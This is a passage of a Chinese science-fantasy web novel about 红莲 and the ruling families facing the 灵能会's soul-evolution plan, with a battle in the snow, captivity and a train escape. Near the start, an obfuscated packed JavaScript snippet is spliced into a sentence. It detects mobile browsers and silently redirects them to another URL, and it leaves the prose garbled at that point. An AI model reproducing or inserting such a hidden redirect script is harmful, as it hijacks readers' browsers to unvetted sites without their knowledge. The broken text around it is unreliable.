“我求你，别说了，我求你了，真的，咱们回去说，求你了，真的。” 黑家主看天家主收起平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875292|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的傲气，依偎的推着自己。 “天弧姐，你站哪队啊？” “我求你别说了！你不是这么意气用事的人啊！你今天怎么了！” 星神缓慢的从座位里起来，单手扶佩剑。 天家主笑了一下说道：“一直都没变，真的，灵魂进化是前人决定的事情，我们顾好自己就够了。” 黑暗，黑暗！黑暗。 黑家主看着眼前的三个人，体会到黑暗像夜星永恒的黑夜一样涌入了自己的内心，渐渐染满了双眼，她两眼一黑，壮硕的体魄重重跌倒在门上。 星神一时判断不出这两人的选择，她需要一切都按计划执行，就强问着。 “那黑家主同意执行吗！” 天家主摇摇黑家主。 “月儿，留的青山在，别再意气用事了，我保你出去，你别说了。” 黑家主听到自己的旧名，闭眼，无奈的摇头答道：“天弧，以后的会议不要叫我了，我都同意，你们决定吧，姐，活着真有那么重要吗？” 天家主半蹲着，揉揉黑月的头发，感觉有近百年没这样摸过了，姐妹情在她心中像白驹过隙闪过，于是转身正对着星神。 “星神大人，把门打开，黑月身体不适，让她走吧。” 星神快速思考着立刻除掉这两人的可行性，毫无疑问都能一击秒杀，之后要面对的岸防连城素来与灵能会不合，预计需要武力清除所有人，这不影响灵魂吸收。可是，自己现在兵力不足，清理行动肯定会延长到20天以上，不排除大部分人逃往南极的可能。而天家主一向深谋远虑，可能准备了谈判破裂的预案，博物馆都市彻底背叛的话，将使得灵能会活动区域暂时限制在东部峡谷，保守估计需要一年才能重新控制世界。 星神用意念开门。 黑家主一路飞驰，穿过博物馆都市的大街小巷，来到黑白和两位副官面前。 “不进化了，能听我的吗？黑白，天思，天兮。” “怎……” 不等黑白问清楚，两位副官回答；“谨遵命令。” 黑家主把三人抱在怀里，等了一会松开。 “谢谢你们，我们回家，今天有从岸防连城加入博物馆都市的人员吗？” “啊！有！”黑白脸红着，按袖口打开信息面板查阅着。 “有两个人，正在正门大厅办新证件呢。” “现在就走，用急行军速度，接上她们，通知外面的随行车队做战斗准备。” 四人如离弦之箭冲出，在人群注视开始议论之前就消失在视线中，一口气到达正门。 黑家主拉着刚穿好天家白裙的两个人，扔进自己的重装堡垒车内，黑白三人也被推进去。 她进车后关门，坐到她们五人对面的红绒长椅上说：“回去让人把这些黄金装饰拆了。” 五个人挤着坐很尴尬，黑白看黑家主平静了就想问。 “会议有什么变故吗？” 黑家主倚靠在一侧，单门捂眼答道：“抱歉，黑白，我现在不知道什么该说，什么不该说，我现在只想带着大家回家。” “好的，您如果累了就休息会，车队已经全速向岸防连城赶路了，我发文通知了岸防连城做好一级防御准备，您安心睡会吧。” “好，对不起啊，我对不起大家，辛苦你们了，唉。” 五人看黑家主躺下长叹，眯睡中又缓缓的小声说道；“我们，为什么不给其他人希望呢。” 第一滴血 破裂的谈判标志着夜星人类毁灭的日期推迟了。 贝家主早在会议之前就与星神达成了协议，意味着近百万贝家人类将逐渐转化为侍灵，成为星神继续执行计划的兵力，摇摆不定的天家主将面临这些军队的压力。 而放弃成为自主者的黑家主要带领岸防卫队夹在南北极之间的海岸边孤军奋战。 其实就如贝家主和天家主判断的那样，人类早在千年之前的最终战争就失败了，所以现在与灵能会的任何战斗都毫无胜算，黑家这种意气用事的战斗又有什么意义呢？ 不过是愚昧无知的人做出的疯狂行为罢了。 黑白与副官原本在课题区等待红莲回家，坐在车内的她们不知道那位黑发少女也陷入了狂乱。 红莲走路跌跌撞撞，视线时而翻转，颠倒的都市建筑如同废墟，视野时而模糊，眼中这些一脸诧异的市民们似乎都已经是死人了。 她不等门退入缝隙就想撞开门，雪花融湿的黑色长发裹着尘土盘绕在她脸上，坐在沙发里看视频节目的东西南北，茫然的看着红莲收拾行李。 “你要去哪啊，红莲姐姐？” “这里完了。” “什么完了？” “就是他们！一步步的妥协！毁了夜星！才有今天的恶果，人们默认命运不公时，也将自己出卖。大家都会死，人固有一死，但不应该那么痛苦的死去，我了解黑家主不会让人痛苦的，我先带你们到岸防连城，当一回你们的姐姐，能做到的只有这些，你们要自己想办法前往南极，拖一天是一天。” 在市民们好奇和嘲笑的注视中，五人慌乱的冲出博物馆都市南门，红莲在雪地上匆忙换了岸防士官队服，小女孩们则裹着斗篷和棉服锁在她身后前进。 没等寒冷风暴带走人类身上全部的体温，她们就义无反顾的进入侍灵载具工业带， 如原始森林般稠密的工程机械群的缝隙之中，机油味的热浪融化雪地，让她们每走一步都在温暖与刺骨的冰水间循环。 黑云压顶一样的半身侍灵旋翼飞行器群发出嘈杂的声响。 红莲已经顾不得清点重型载具底盘和轻型四足载具底盘的数目了，只想关注远处浮在半空的侍灵卫兵的动向。 她心中只有躲避这些东西的念头，不久就发觉无论怎么绕行，都无法继续向南移动了。 厄运随之来临，两个侍灵飞到她们身前，无需言语沟通，五人就在侍灵逼迫下向西南方向走动。 巨大的黑色工程机械会随侍灵意念移开，露出长达50公里的超巨空天母舰舰身，舰体下端的蜈蚣列车平台上载满了一种貌似古代战斗机推力喷口的枪炮，一些半身侍灵用双手转动机翼，盘旋降落后在躯干下安装这种枪炮，只在红莲视觉中出现的枪炮数量就有几十万支。 一台四足载具和一台四履带战车上发射出极度亮白的粗大光束击穿了远处的厚达500米的钢墙，留下两个火红的熔洞在墙面。 红莲不禁细看这些载具上的巨炮，银亮的炮管长约3米，重型四履带战车的炮管前方还悬浮着三个透镜，红莲继续走着，她呆滞的目光开始晃动着人类的身影。 “我正在想，红莲将军差不多也该回来了呢，想红莲，红莲就到嘛？” 她并未回答。 一头金色长发并身穿黑底金边长袍的有着傲人身材的贝比将军问道：“哎？你咋啦！被灵能会洗脑啦？要我抽你一耳光才能清醒吗？” 红莲一把按住她举高的手。 “完了，都完了。” “完就完呗！夜星早特么完了，只有你傻不愣登的心存希望，我们自己活的开心就够了啊！红莲将军抓的我好疼啊，你这手劲变大好多嘛！” 红莲还是低垂着头，她甚至把贝比也一同拽蹲在雪中。 “我现在有点乱。” “何止是有点啊，这次三家会议发生了什么？黑家主大人刚到岸防连城就启动了一级戒备，黑白调回了我的队伍，留我带亲卫队在这维持着原天家市民组成的新军秩序，这气氛应该是要和灵能会开战了吗？” 贝比对这些意料之内的变化不以为意，她前后凸翘的身材不习惯蹲姿，想站起却被红莲拉住。 “别人的痛苦注满我的内心，我第一次这么关心他人，贝比，我对她们的痛苦无能为力。” “啧，你她丫的快放开我呀！你管别人干嘛！” 贝比一脚蹬倒了红莲，踩着她身体才揪开胳膊。 “你管别人干嘛！你得尊重别人的选择！他们天家和贝家的人自己选的！还要逼我们选！虽说我出身贝家，可我巴不得她们赶紧去死！你看看你这伪圣母的死德行！还有这四个天家的小鬼是谁？” 红莲从泥水中爬起来，坐着，像个失落又任性的孩子。 “她们是我在博物馆都市认的妹妹，我想带她们到岸防连城躲一躲。” 贝比揉捏着手臂的痛处，打量着四个被黑衣队员围住的小孩。 “行吧，是朋友就能帮！” 贝比拍掉长袍末端沾的泥水，又整理了一下金黄色的肩章。 “通知强风烈风，我离开一会，你两跟我走，再带20名新军，装备嘛，有天家主发的侍灵佩刀每人带两把，我们隐秘行动，不适合开载具，起来吧？红莲大小姐？” “红莲大人，我们走吧。” 两个身穿黑底白边岸防士官服的少女扶起红莲，其中一名还摘下自己的黑色大檐帽扣在红莲头上。 “我们真心盼望您归队。” 一行人奔驰于广阔的雪白大地之中，走在最前的人已经能看到岸防连城主城区，她们折回，跑向落在队尾的小孩们，抱起小孩就继续向南奔跑，杂乱的足迹被涌动的雪花渐渐覆盖，人们在沉寂的黑白世界里每抬一次腿都靠近了到家的希望，身后却传来第一声尖叫。 “保持前进！” 贝比一声令下后抛下孩子，抽出腰间的银刀转身倒退着移动几步就看清了敌人，是一名侍灵在不顾一切屠杀队尾的新军成员。 侍灵的动作时停时闪，完全超出人类预判，她教授新军的剑技，全部挥空，人则被侍灵砍穿，血如喷泉射向高空，侍灵的长刀打在人体上不损失任何阻力，比刺破纸张都要容易。 贝比见红莲跨步去战，就箭步抓住她的几根头发，却揪掉了，扔刀在红莲面前，才让她停步。 “你走！” 贝比挡在红莲身前，背手推开她。 “我们根本打不过这东西，你这傻子别死在这，让我恶心。我喜欢身居高位就是图个安心，可眼前这事实哪有安心之地呢，你走吧。” 贝比狂奔向侍灵方向，红莲紧随其后，可侍灵好像发现了目标，它这一剑直刺，剑穿了一路上奔逃的新军，两名随从士官用剑交叉架挡，才将侍灵的刀挑起，侍灵转身两下横劈，她们便倒下了，再也没有起来。 血流浸透的发着银光的刀，指向挡在红莲身前的贝比，纷纷雪花带着血腥味，吹拂着一身黑衣的黑发少女和黄发少女，银色身体的水母头侍灵从胸甲中取出一个信息板。 “小红莲，你为什么不声不响的逃走？” 是天家主的声音，红莲万万没想到她为了追击自己竟然驱使侍灵杀人。 “你会卖了博物馆都市的人，我才送这四个小女孩离开，可你居然派侍灵追杀我们！” “追杀？它杀人了？” “你把我也杀了吧，我不会再跟随你这种人了。” “……” 通话那边的天家主沉默了有一分钟。 “不管你信不信，我的命令是带回你们，这是星神的下马威，是你给了它机会再次向人类展示侍灵的绝对武力，是你杀了她们，红莲。” “是我杀的？” 贝比转身，看着矮半头的红莲失魂落魄的涌着泪，她真想给给这傻子一耳光，想了想还是算了，身处过局势暴风中心的红莲，又天天与这些人形恶魔共事，难免糊涂。 “我说天家主大人，这死的20个是你天家的人，我看您一点都不心疼呢？红莲你欠我一个耳光，真的，我现在不想抽你，你的眼泪不该是懊悔自己的错误，你没什么错，人本该想走就走！你该为没注意到同伴的关爱而感到悲伤，你到现在都没发现吗！前面躺着的那两个家伙是你第一开岸防机甲出任务的队友，她两一直盼着你回来，就求我把她们调到工业区等你，我相信她两以为替你挡下一剑，最后是开心的，而你却顺着某些人的思维，计较着谁对谁错，令我们蒙羞，人都有一死，就看是为了什么而死。” 红莲在贝比的话语中，爬向那两个身包黑色士官服的尸体，凄冷的寒风声像在倾诉她的哭声。 贝比盯着侍灵手中的银刀滴落的血滴。 正如天家主所说，灵能会已经准备好了屠杀人类的武力，就寻找着机会展示，不是红莲，也会是别人触发这场鲜血表演，这演出宣告了夜星人类的末日，而要为此负责的人，却如黑白所说，是那些夜星历史上不可救药的人类们。 “天家主，你带我回去吧，我的心不会再追随你了。这四个身体有缺陷的天家市民，她们从未有机会选择道路，你的筹码不缺这四个，放她们走吧。” 信息板那边传来一声放松的呼气。 “小贝比，我并不是一点人情都不讲，你今天的无礼，我饶了你。小红莲，我的位置很难，你先回来，别人，我就放了。” 15. 章15北极：信风带花道别 穹顶光照减少，导致街区内的气温日渐凉冷。 市民每天的生活用品会多出一件棉服，自然课题组开发新的耐寒植物模块替换了原本的花坛，给人们维持美好生活的印象。 无论地处供电设施后方的丑陋别墅有多么形同废墟，在建筑前后把守了四名银衣水母头侍灵，对过往人流阐明此处有麻烦事件，请勿靠近。 红莲，晴灯，橡树三人已经被天家主拘禁了两周时间，红莲却不接受任何命令，她摆出这副求死的心态，尽管元苦口婆心一再劝说，她仍然不为所动，天家主就不得就让元强行把她从别墅拖到位于市中心巨球内的办公室。 “唉，你真的是太与众不同了，别人面对这种灾难，一定会跪求我赐予你生机。再说红莲不担心家人的安危吗？” 她说话间，被元烫剪着纯白长发，为了看清楚躺在地上的红莲，她向后摆摆洁白的泡泡袖，迈开有着迷人弧线的米色马裤，来到红莲身边，轻轻踢了两脚，毫无反应。 “真的。不是我下令派侍灵杀人，你应该了解，我想让谁消失，不需要这么直接。” 天家主此时理解了黑家主曾问自己：活着有那么重要吗？ 原来真有人不止是为了活着。 “你像个尸体一样一句话不说，搞的我好像在自言自语啊！我其实无比孤独，真的。小红莲，从我懂事开始，就感觉世界只有我一个人。我留你在身边，就是因为你和我意见相反，不会盲目顺从权力，这让我感到一种活着的乐趣。” 天家主踱步，继续说道：“小红莲呐，历史是延绵不断的，今天的夜星继续着昨天的恶果，历史的车轮压迫着每个人，包括我！从古到今，夜星人都无比自私，人们只顾自己，也就强迫着你我只能顾自己，市民们只为自己，我也能只为自己！历史中的人类不为今天的我们负责，我也没必要为夜星的历史负任何责任。” “噗！哈哈哈哈哈哈哈哈哈哈哈！” 躺在地上的黑发少女猖狂大笑。 “有那么好笑吗？我哪句话说的不是事实吗！” “我笑你位高权重，聪慧过人，别人尚有无能做挡箭牌！你却心甘情愿的融入现实的背景，当背景的一部分，天家主大人，您真的活着吗？” 天家主绕着红莲走了一圈。 “我一个人坚持理想只会被众人背叛！沦为可笑的小丑！” 天家主看元向前走了两步，再看看地上的红莲，又看向岸防连城的方向。 “这点人成不了事的，当年人类和超能力者2000万大军都失败了，抱歉，我做不到。唉，道不同不相为谋，留你的身体在地上躺着毫无意义，你自由了，小红莲，你想干什么就干什么去吧。不过，因为你的鲁莽，我不得不下令，在北极维持半年宵禁，所有城市不允许人类出城，以平息灵能会的疑虑，还能拖延它们执行计划的时间。我自己也需要时间再想想，下次很难再和你见面了吧，我们玩完A之书吧。” A之书：这颗星球最真实的样子，没有白天，只有黑夜。 红莲：“如果光明需要我迁就它，那我还是喜欢黑夜的自由。” 天家主看着一身脏污白裙的黑发少女从地上爬起，坚定的走向门外。 “自由的力量吗，A还不够了解人类，相比希望，绝望更能激发你们真正的实力。” 时间对于人的价值不在于长短，而在于人们是否对生活做出过有效改善。 北部山脉发生原因不明的雪崩，使金山堡原本难以为继的生活物资变的更加捉襟见肘，大概只有半年前的第一批出发的贝家成员完成了福祉进化，剩在金山堡内的60多万人尝试下山都被雪崩阻止了，贝家主得到博物馆都市用无人机空运的物资，稍有喘息就向星神报告说，雪崩必然是天家主所为，天家主解释两次后干脆不接语音。 侍灵在博物馆都市东门尝试武力入侵，却发生不明原因的大爆炸，侍灵虽然平安撤退，但是入口几乎堵死，还牵连了三万多名市民陪葬。 很快，都市内流传着地下设施早已安装过足以炸毁全市的装置，天家主把所有说过此话的人都派往了城周工业区，她们出发就再也没有回来。 岸防连城与工业区的天家新军阵地基本连为一体，载具底盘被安装上岸防火炮，用做阻挡侍灵军队的防御设施。 这时期又流传着一种说法，有人在工业带看见了天家主，博物馆都市内的天家主不过是她的替身，当然，敢散布此话的人也被她以相同手法弄不见了。 可以这么说，这半年里的一切都毫无进展，星神有消灭北极人类的军力，却没有完成福祉计划的手段了，天家主以北极这200多万条人类生命做筹码，将星神手中的主动权变更回天自己手里，不得不说，现在的夜星，没有人比她更善于掌控局势了。 根据岸防连城海岸巡逻队的情报，灵能会似乎从北极东部山脉的陡峭悬崖炸开了一个豁口，有近三万名侍灵从那出发前往了冰海中央的人工岛，这与北极雪原上侍灵数量减少的情报吻合，说明星神看出从北极内陆逼迫人类妥协已无可行性，转而考虑用南北夹击方式。 这是灵能会率先释放了妥协信号，但天家主仍然装病，不接语音，于是星神邀请她前往东部雪原面谈，可狡猾的天家主先派元去，又中途变更让血神前往，拥有奇特体质的血神还向星神展示了人类的武力，福祉进化计划就无限期搁置了。 风的力量 博物馆都市上空的穹顶恢复了照明，全市秩序也恢复到一年的状态，市民们歌颂着天家主的伟绩，就连昔日都市的自然环境旅游项目也开放了，人们将曾经发生的紧张局势全抛之脑后，争抢预订参加旅游的车票。 晴灯和红莲都是课题组组长，顺利的订到了三张车票，三人提着行李混在拥挤的排队人群中，进入蜈蚣型多足列车内，纯白色的车厢墙壁随车辆启动后，变为海底观光通道般的透明效果。 人们以为眼前只有纯白雪面的美景是列车外真实的自然环境，但红莲只凭体感方向就判断出列车正在向东南方向行驶，这一带的雪原上早已建设有工业带的工程机械，墙壁上的画面应该是一年前的录像。 她知道天家主的想法，这是每天用几百条人命，试探灵能会敢不敢未经她同意就收回主动权。 红莲凝神，全力出掌，重推车厢壁，她感觉用极命剑技勉强能打破钢壁，还感知到外侧有极强的能量场。 列车有灵能科技不奇怪，因为这种列车原本就是灵能会载具。 贸然打破车厢肯定会再次触发侍灵威胁，她轻缕黑色长发到白裙胸前，与晴灯一起欣赏着虚构的雪景。 看似危机四伏的东部雪白崖壁之下，那层层叠叠的雪冰被汹涌的冷风吹干碎裂，形似被狂暴音乐家敲乱的钢琴键，演奏着蜈蚣型多足列车踏上了密布蛛网纹路的冰面舞曲。 蔚蓝的冰层与幽蓝的冰海平面线是它脚下的舞台，混黑无际的夜空中，偶尔掉落着冻云挤碎的巨大冰块，是这首自然交响令人望而生畏的强大音符。 当人们感叹自然之母在如此末世还能展现傲世壮美的身姿之时，红莲看清冰层之下的深蓝色存在渐变，冰海深处有某种大到无法想象的东西一直活动着。 列车的运动轨迹突然出现偏移，她能感知到脚下列车的多足机械结构在激烈空踏，车身在人们眼前的壮丽冰面投影中猛然转向，列车前方明明没有任何物体就做着如此大角度机动，导致车厢内除红莲外的乘客全部翻到。 由于此次旅游列车爆满，挤撞伤者不计其数。她挽住晴灯又拉住橡树，从体感位移判断列车完成了近乎90度的极限转弯，车身中段的车厢还传来一声巨响。 红莲从车身振幅推测，有一个极为粗大又形似钢鞭的物体击中了车体，列车可能就是预判到这次攻击做了紧急回避，看来列车现在要全速驶回博物馆都市方向。 是什么东西敢攻击灵能会的载具呢？ 时机容不得红莲再做思考，她拉着另外两人翻越过一堆人山，要在赶车体外能量场修复前击穿已经严重变形的部位。 黑发少女飞身跨步，从布袋抽出了锈迹斑斑的铁剑，可是面前的车厢凸起远比她想象还要严重，左右两侧车壁间最窄处，挤着三个死人。周围，被凸起钢壁困住的人更是数不胜数，她无法对这样被肉墙包着的车壁使用极命剑。 “机会就这样错失了。” 橡树听红莲语意失落，可是，手握兵刃并威然屹立的红莲没有半点沮丧之情，黑色长发在白色长裙后恍然飘舞，她通过这半年的调整已经从彷徨无助的思绪中走出，现在一心逃离北极。 “缘分未到，这种旅游观光列车每天都有，我们再找机会吧。” 她一动不动的痴痴望着变形的车身，内心很清楚单凭自己的力量无法击破被能量护盾包裹的车体。 “你觉得刚才在冰海上，是什么东西敢打坏灵能会的物品？” 橡树单手握着另一只胳膊的上臂，让身体尽量缩在人群后面，他仍然不习惯这身女性白裙，还不喜欢自己眼前挡着的黄发刘海。当年他身在地球的时候，妹妹橡子为了让生性木讷的哥哥看起来活泼并有艺术家气质一些，就给他染过黄发，可他没想到穿越来到夜星后，还要变成黄发。 “毫无疑问，海底有夜星血肉时代的遗产。红莲姐对历史确实不太关心啊，您忘了么？那篇课程里写过，雌体与雄体完全融合，并不断吞噬海洋生物和蚕食地壳。那条文字的发生时间是新元1112年，今天的日期是新元4028年5月3日，它在海里吃了2916年！恐怕早就吃光了海里的一切东西。蚕食地壳这点也很有意思，某些生物可以直接摄取矿物中的养分，它可能进化出了这种能力，边吃土，边用地热取暖。它像一只蛆虫，啃食名为夜星的苹果。红莲姐，有个我自己的猜测吧，夜星历史上的一部分决策者很可能迫于这只大到无法想象的怪物的压力，才同意了灵能进化。” “真的是一步错，步步错。” 来自夜星外的第三方视角得出的评论让红莲感到说不出口的羞愧，她将铁剑套回布袋，随手扶起一个个爬行的市民 橡树忽然明白过来，自己刚才的言行有损夜星人的尊严，于是在红莲身旁帮扶伤者。 两人身后的晴灯博士从不放过任何一个科研话题。 “把穷人都血祭了就换来这样可笑的结局，干的漂亮啊，伟大的夜星？哈哈。” “你别说了！” “您不帮忙就别说了，晴灯博士。” 晴灯双手一揪纯白大衣拉链领口，垫脚转身走到车体变形处，拨弄乱发并低头仔细观察，她全然不顾身下的被铁皮压伤者的求助眼神，因为在她的理性脑瓜看来，人力没有任何办法改善已经严重变形的车身，自己就没有任何必要去理睬这些伤者，她身上仍然存有夜星科研学者特有的绝对理性。 伤情稍微恢复的人群就迫不及待远离将死之人的哀嚎声，橡树和晴灯都捂着耳朵躲在红莲身后。 红莲背部沉稳的起伏说明她正在张口重复呼气，她想象着自己能精准躲开这些人体，一剑击破钢壁并不断扩大破口，不行！她的刀剑没有任何把握躲开哪怕一个人体，这如果是个敌人，她早就动手了。 现在的她，只能站在伤者身边，沉浸在人们的哭嚎之中，空气中的痛苦情绪正在源源不断进入她的内在，被她转化成冰冷的愤怒。 蜈蚣型列车的多足机械结构在通过真实工业带后立马提速，车内的大部分人类随飙升的速度感欢呼，庆祝即将回到博物馆都市，很快就能脱离这次危险之旅。 如果你看到一剑，剑速如迅捷孤雁，剑光如湖中白月，荧光流动的黑亮剑身倒映了她寒静如水的美目，可以想象她武技极为高超，挥剑盲切车身之余，还能观察车内，守护剑客不乱杀无辜的自我美学，那此剑必然是风信子施展的，她就是这样，目的其次，美学第一。 风信子看清车内情况的一瞬，剑锋横滚，这一手横扫兼具高速旋转剑体，如果不是从幼年就玩剑，与剑相依为命者是决然无法做到如此随心所欲。 她左臂横剑上挑，强大的力道与气流让车身一侧破口向天空翻起，风信子顺势做了一个如天鹅腾空展翅的身姿。 这一瞬间，美感令人忍不住出口惊叹。 尽管在剑术高手看来，她这个浮空展翅动作十分多余且破绽百出，但风信子就喜爱在武技中加入形如舞蹈的动作，而她随手展露出的用剑天赋，足以让任何武者不敢轻视她。 “风信子今天的身份是你们的救星，跟我走吧，红莲，晴灯。” 她轻抚车体，让单脚落地的动作更加轻盈具备美感，侧身站立，装扮和上次在岸防连城略有不同，肩上没了小披风，取而代之的是围在领口的一圈洁白绒毛皮草，贴身白上衣类似舞蹈服，未戴铠甲的前胸美的让人看不出性感，小腹处的镶嵌着四颗黑星，银制高束腰带似乎是她为了遮挡腹肌，下身的修身长裤包裹到脚，脚底还穿着那种银制机械结构助力靴，她微转粉白长发内的侧脸看向红莲。 红莲心想这女人总带着极为自我的步调打乱别人的思考，美轮美奂的气场又让人挑不出毛病，于是她伸出左手并让手掌向上。 风信子转身后浅粉头发间椭圆的冰美人面容做了无奈一笑，伸右手套，手掌向下，与红莲握手，完成了夜星独有的外交礼仪。 “那再帮个忙吧，救星风信子，你能抬动这块变形的车身吗？” 红莲看她游刃有余的用剑轻挑变形车身，推测此人力量远超人类。 风信子扭头看着车身下方的惊恐到忘记疼痛的伤者们。 “听从别人不是我的美学，不过，随性救人很有强者之美。” 她极为利落的抓凹车体并将变形处拉回原位，这个半蹲动作过于短暂，因为她不想保持丑陋姿势太久。 风信子第一个箭步就单手抱住晴灯腰部，第二步跨蹬车壁跳上车顶，她微蹲着向下伸手大声说道：“快点儿！” 红莲可不管风雪吹拂的风信子面色多美，她揪住橡树转了一圈再顺势一推，就把他扔向车顶破口。 她看清破口外的风信子闪开了，也用两个跨步跳出车外，只不过她这一跳力度过大，即将飞落在雪原上，幸好风信子见势抓住了她的左手。 红莲的身体就似风筝在车顶飘一周，但她脚却没有踩车顶的意图，两人在转瞬间对视，风信子松手让红莲能抱住晴灯，自己提着橡树，四人纵身跃下列车就开始向南疾驰。 黑寂夜空，环盖着如绒白甜点的冰凉大地，淡淡足迹是人们在心中默唱奔向自由的夜曲前奏，然而身为学者的晴灯只跑了800米就体力不支，风信子返回扛着她，又冲到最前，可见这位讲究美感的女性多不情愿背人。 红莲回头确认已经看不到列车了，就把随身箱子扔到地上。 “不能跑了，再跑我就要冻死了。” 她急切的脱下白裙，换上黑色的岸防士官服，橡树转身从行李中掏出三件棕色斗篷。 “坚持到我的营地吧，那有暖炉和食物。” “你的营地？” 风信子拿斗篷包住晴灯，此时的她像肩扛麻袋的掐腰农妇。 “啊？我在雪原等你们一周！” 四人步行到东部山脉悬崖边的雪坡上，这里能看到工业带已经延伸到东部雪原，距离他们不足一公里。 风信子弯腰，从坡底的雪里揪起一块白布的角，用力一挥，向三人展示风之部落擅长的野外生存技能，雪面之下有个半人深的方坑，里面有一辆人力雪橇，一些棉被和皮草，最重要的是有一个暖炉。 晴灯围着被子，接过风信子递来的杯子，喝了一口。 “这是什么？” 橡树插话道：“有点像酱油汤。” 风信子淡淡一笑，拨动铁锅内汤勺。 “只是清水加了些调味料，我们风之部落的人曾经很喜欢这样煮东西吃，现在没有动物可吃了，我仍怀念那个时代，这热锅飘出的香味很有美感。红莲你不坐吗？” 红莲踮脚张望，看不到坡外的环境了。 “我感觉这里不太安全。” 她擦拭方坑壁上的积雪，露出一片玻璃罩，借着暖炉微光，能看清玻璃罩内似有白骨。 “这是什么东西？” 橡树也走过去趴在罩上查看。 “红莲是夜星人，居然没见过睡眠舱么？” “听说过，没亲眼见过。” “什么是睡眠舱？” 风信子哼了一声，从身后包裹内取出一把营养剂仍给众人。 “到处都是，红莲从小就是城里的大小姐吧，每一块雪地，每一块土地，都有可能翻出睡眠舱。我听说博物馆都市教机械时代的课程呀？当年的人类喜欢睡眠舱，内部的仪器会一直维持大脑活动，据说能在极为逼真的虚拟世界随意游玩。根据睡眠舱型号和版本不同，能维持使用者的生命190到1900年。也就是说，现在，所有睡眠舱里的人都死了，我们风家的人会在雪中翻找睡眠舱，运气好的话可以拆下电池等等设备用来求生，不好的话也能这样拖四个搭营地。” 晴灯一脸惊讶的问：“你睡在四个死人身边？” “那你还坐在死人身上呢，死人不可怕啊，就是一堆物体罢了。” “那让我在死人身边睡一周也太可怕了！” “我等了不止一周。” 风信子说着，把人们的行李整理进雪橇储藏箱。 “8个月前，银雪女王就派我到了北极找你们，起初我混进博物馆都市寻找，地上地下全像迷宫一样，我又出来了，到岸防连城求助，天家却下达了为期半年的通行禁令，黑家主说你们不可能出的来，我也不可能再混进去。我就在岸防连城等了半年，禁令刚解除，我就到雪原露宿，寻找机会，我正睡觉呢，跑过去一个大家伙，起来看是个巨丑的铁蜈蚣，黑家主说过红莲一有机会，必然会想办法出来，我看它返程就砍一剑试试运气。” 这段话的信息很多，红莲认真梳理着，8个月前？也就是风信子带走0元素培养罐不久后，按天家主的说法，那时南极权力由风千阳三家轮流把持，银雪女王不过是傀儡，怎么会派风信子来呢？来接我和晴灯做什么呢？ “你们南极……” 红莲与风信子对视，看她身穿单薄的贴身衣物，却貌似感觉不到寒冷。 “看你刚才用剑和抓举车身的力量，南极已经使用了0元素吗？” “是啊，她们不敢喝，敢于尝试别人不敢做的事是勇气之美，我第一个喝的，失明了一瞬间，之后0元素在身体表面自发的形成衣物，我不太喜欢黑色的衣服，它就随我意愿变成了这把黑剑，腰上这四个黑星似乎是必须有的东西。别的没什么负面影响，我的体能提高了很多，几乎不会感觉到饿和冷，我们还试过了，炮弹和子弹都伤不了我，它会出现被攻击的方位阻挡掉全部伤害。现在唯一的缺点是黑剑离开我身体半分钟，就会消失，我们希望晴灯博士能解决这个问题。” “喔！原来如此，看来实验成果很理想嘛，能让我摸摸它吗？” 晴灯抚摸着风信子手中的黑剑，又用脸贴着剑身。 “有种异常稳定的冰冷感呢，你松手。” 晴灯抱着黑剑，直到剑消失。 “意识的问题，或者说是思念存量消耗完了。0元素受命于你的意识，潜意识部分想尽量保持你原本的身体，就把一部分0元素逼出体外，模拟一些物体，这些物体受你本人的战意控制，形成了黑剑，剑身的低温如此稳定就与你本人的性格有关。人对物的情绪可以称为思念，当黑剑离你身体太远，你意识注入0元素黑剑的思念存量便持续减少到最终消失，黑剑就无法维持存在，身体损失的这部分0元素会从环境中缓慢回收，黑剑独立存在的时长可以改善，但需要更多人类样本。” 这结果也符合红莲的设想，0元素能给每个人类力量，她打算在需要的时候，凭自身实力驾驭它。 “那出发吧，迟则生变。” 她还想到灵能会不会坐视所属列车遭到破坏，前来调查的侍灵可能已经到附近了。 初战 人们穿过影影卓卓的实验城市废墟，红莲站在最高残楼顶上望向东北方向的灰白大地，有一个微小的白色闪光吓的她马上侧身躲进墙后，再观察那闪光在雪原移速极快，她对楼下的风信子使用静默手势，说明闪光位置。 四人又不得不返回废墟地带向西侧工业带绕行，工业带传来的金属撞击和设备工作声像一首危机四伏的骇人乐曲，仿佛他们身边的每个断壁，每个角落都藏有敌人。 拖行雪橇的橡树不注意碰出了一声微响，引起在最前匍匐观察的两人回头张望，她们再看回工业带延伸处，猫耳机器人的爬行身影在微光映照下显得极为恐怖，庞大的黑色四足工程机械们切割着不明物体，暴风吹来钢铁造物身上近似血腥的铁锈味，那里如同一个人造的地狱图画。 风信子轻轻放下晴灯，用手势指挥她和橡树低身往南前行，红莲等他们走出300米还没触发什么动静，就走在队中，向南观察工业带方向。 她突然注意到一个猫耳机器人影猛的回头看向自己，红莲立刻趴下，猫耳怪物则半直起身子扫视四周。 风信子再等红莲移动了才走在最后，她片刻不分神的盯着东北方向，既希望知道那闪光的位置，又不想看到它。 队伍原本的目的地是岸防连城最海岸东角与东部悬崖的交汇处，那里能不牵扯黑家就偷偷前往南极，可现在的位置已经偏离路线太多，又没有时间停下商议路线。 稍有空闲，红莲就回头确认风信子的位置和动作，此刻只见一身白衣浅粉发色的她被一束不明光照晃过，风信子转身对红莲微笑，伸右手猛指南方，黑发少女意识到出事了，她大跨步猛跑追上前方的推行雪橇的橡树。 “向南直行！向南，向南。” 红莲马上抽出铁剑，折返去迎风信子，浓列的黑幕里，风卷起雪流，将虚陷的雪面变得坚实，她的斗篷与黑发激烈扰动，象征着她们即将面对的暴力危局。 “怎么样？” 风信子每向南跨三步就变成滑行，转身向后观察。 “它径直向我们靠近，移动的很快，这里离工业带太近了，交战必然吸引到更多敌人，我必须再拖延一段距离，红莲，你们不用管我了。” 她说着把剑换到右手，用左手扶红莲的肩膀。 